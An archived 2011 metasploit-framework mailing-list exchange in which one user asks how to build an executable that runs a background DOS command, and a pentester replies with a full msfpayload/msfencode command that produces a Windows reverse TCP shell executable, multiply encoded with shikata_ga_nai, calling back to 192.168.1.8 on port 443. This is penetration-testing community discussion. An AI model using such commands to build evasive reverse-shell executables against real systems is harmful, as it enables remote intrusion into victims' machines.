metasploit-framework March 2011 archive
Main Archive Page > Month Archives  > metasploit-framework archives
metasploit-framework: Re: [framework] windows/exec

Re: [framework] windows/exec

From: Ahmed Shawky <ahmed_at_nospam>
Date: Wed Mar 09 2011 - 17:17:35 GMT
To: alfonso caponi <alfonso.caponi@gmail.com>

./msfpayload windows/shell/reverse_tcp LHOST=192.168.1.8 LPORT=443 R |
msfencode -t exe -e x86/shikata_ga_nai -c 10 -o out.exe

On Wed, Mar 9, 2011 at 6:45 PM, alfonso caponi <alfonso.caponi@gmail.com>wrote:

> Hi list,
>
> according to you, using msfpayload (windows/exec), how can I create an
> executable file to run a dos shell command in background?
>
> For example a first step:
>
> ./msfpayload windows/exec CMD="ping -n 5 1.1.1.1" R | ./msfencode -e
> x86/shikata_ga_nai -c 10 -t exe -o test.exe
>
> Thank you very much,
> AL
>
> *ps: windows/download_exec not works on my XP sp3. no connections created
> and the process remains active. (#3771?)
> _______________________________________________
> https://mail.metasploit.com/mailman/listinfo/framework
>
>

-- - Ahmed Shawky El-Antry - Pen-tester, Programmer and System administrator - lnxg33k owner "http://lnxg33k.wordpress.com" - Isecur1ty team member"http://www.isecur1ty.org" - Twitter @lnxg33k

_______________________________________________
https://mail.metasploit.com/mailman/listinfo/framework